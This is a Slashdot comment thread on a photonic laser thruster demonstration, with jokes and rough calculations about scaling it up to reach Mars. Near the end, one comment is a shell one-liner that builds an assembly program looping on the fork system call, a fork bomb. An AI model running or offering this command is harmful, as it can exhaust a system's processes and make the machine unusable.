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Photonic Laser Thruster Promises Earth to Mars in a Week
serutan writes "Using lasers to drive spaceships has been a subject of interest for many years, but making a photonic engine powerful enough for practical use has been elusive. Dr. Young Bae, a California physicist, has built a demonstration photonic laser thruster that produces enough thrust to micro-maneuver a satellite. This would be useful in high-precision formation flying, such as using a fleet of satellites to form a space telescope with a large virtual aperture. Scaled up, a similar engine could speed a spacecraft to Mars in less than a week."
It only says it can get the spacecraft to Mars in a week. It does claim to be able to stop once it gets there.
Actually, it says that it can get the spacecraft to Mars in a week and can stop once it gets there. But it doesn't claim that anyone will survive the impact.
They didn't say you would get there alive. They just said you would get there in a week.
nasa knows how to stop things at mars, that's easy. (think: "feet, meters, same difference")
Do you currently find 1G uncomfortable?
Semi-automatic amateur armchair Australian philosopher; conjecture ready at any moment...
Survival isn't necessary. Just get your ass to Mars. G-G-Get your ass to Mars.
I hate printers.
His demonstration thruster produces 35 micronewtons.
.0005467722 Km/s^2 = 64 milligrams, so if we were using this to power a marscraft with the mass of the acetominophen contained in a single extra strength tylenol tablet, it would be more than 10x too heavy. Of course they said it could be scaled up, but that's a heckuvalot of scaling.
35 micronewtons /
I doubt the smallesst possible manned Mars vehicle could be less than 1,000kg. That's a scaling factor of 15.6 million. I can jump over 3 feet on the trampoline in my back yard, which translates to a maximum velocity of 4.23 m/s. If I scale that up by 15.6 million, I would be launching myself at 66,000,000 m/s, far exceeding escape velocity, and reaching Mars under my own power in under 30 minutes.
You must have forgotten that nuclear power, by definition, harms the environment.
That's just how it works.
There's no environment to harm in space so nuclear power can't possibly work out there.
IOU one (1) signature
voila! sublight speed!
Big deal. I have sublight speed sitting at my desk.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
- That the grandparent post was funny.
- That you are an idiot.
Both of these could reasonably considered informative, however the second is likely untrue, since in my experience idiots are quite likely to be the last to realise, and the moderation totals on the grandparent would have informed even the most humour deficient. Or are moderators now giving karma to people who admit their errors? If so, have I accidentally logged into some kind of bizarro-Slashdot, where everyone is polite and respectful? And is there a way of making sure I don't accidentally end up on the other one again?I am TheRaven on Soylent News
But what about the heat? It's quite difficult to cool off lump of metal in a vacuum without discarding hot material to do so. Even if you could feasibly power a craft to Mars with this, how would you stop yourself from arriving as Astronaut McNuggets?
Our chief scientist, Davros McDonald, has calculated the ultimate evolutionary form of the human race to be McNuggets. Why do you struggle against progress?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The current space shuttle seems to deal with the heat from explosives fairly well in the atmosphere and in space. They use a model called "let's not put it next to the astronaut's faces".